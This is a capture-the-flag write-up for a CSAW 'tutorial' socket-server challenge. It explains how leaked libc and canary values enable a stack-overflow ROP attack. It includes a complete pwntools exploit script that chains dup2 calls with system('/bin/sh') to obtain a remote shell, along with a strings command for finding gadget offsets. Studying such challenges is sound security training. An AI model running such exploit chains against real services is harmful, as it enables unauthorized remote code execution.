- A socket server
- Obvious leak of libc address and stack canary + provided libc library + stack buffer overflow
- ROP attack (
The direct execution of
tutorial will crash. So, I inspect the binary with IDA Pro and found that this is a TCP server which requires a port number as the argument and a user call
tutorial exists in the system. After slightly patching the program and providing the port number, I can run the program on my computer. Connecting to the server, it displays three options.
The first option
1.Manual prints an address
Reference:0x7fad235d3860, which is the address of
puts - 1280. Together with the provided
libc-2.19.so, it allows us to caculate the address of other functions in the libc.
The second option
2.Practice asks us to input our exploit. Sending some random input, it seems to echo our input with some extra binary data in the end.
It turns out that these binary data are stack canary and part of the
rbp. With the knowledge of stack canary and the address of functions in libc, now we can make use of the stack buffer overflow vulnerability of option 2 to conduct the ROP attack.
Notice that the server interacts with us via socket instead of standard input output. We can’t merely invoke the
system("/bin/sh"), which opens a shell only on the server side. The most common solution is using
dup2 to duplicate the file descriptor of socket connection to standard input and output before calling
system. There are three ways to find out the file descriptor of the connection:
- Educated guess. Functions usually return the lowest possible file descriptor. Standard input, output, and error are 0, 1, and 2 respectively.
socketmay return 3. Then
acceptis likely to return 4.
- Leak stack buffer. Since we can leak the lower four bytes of
rbp, we can easily guess the address of stack and leak the file descriptor stored in it.
ls -l /proc/<pid>/fd. Execute the program locally and inspect what file descriptors are being used.
The script is as follows.
from pwn import *
from time import sleep
# ROP gadget
pop_rsi_r15 = 0x4012e1
pop_rdi = 0x4012e3
puts_base = 0x6fd60
system_base = 0x46590
bin_sh_base = 0x17c8c3
dup2_base = 0xebe90
r = remote('pwn.chal.csaw.io', 8002)
# leak libc address
line = r.recvline()[:-1]
puts_addr = int(line[-14:], 16) + 1280
libc_addr = puts_addr - puts_base
system_addr = libc_addr + system_base
bin_sh_addr = libc_addr + bin_sh_base
dup2_addr = libc_addr + dup2_base
# leak canary
data = r.recv()
canary = data[-12:-4]
# ROP payload
payload = 'A'*312 + canary + 'A'*8
payload += p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(0) + 'A'*8 + p64(dup2_addr) # dup2(4, 0)
payload += p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(1) + 'A'*8 + p64(dup2_addr) # dup2(4, 1)
payload += p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr) # system("/bin/sh")
- What I’ve learned:
dup2to get the interactive shell of socket server.
- There is no need to inject the string
/bin/shto somewhere in the buffer as I first did. This string is containing in the libc, and its offset can be found by
strings -t x libc-2.19.so | grep "/bin/sh"
- This server using
forkto create a new process to handle the new user’s request, so the base address of
libcand the value of stack canary remain the same from request to request. There is no need to automatically parse these value during the contest. Just hard code them in the script to save some time.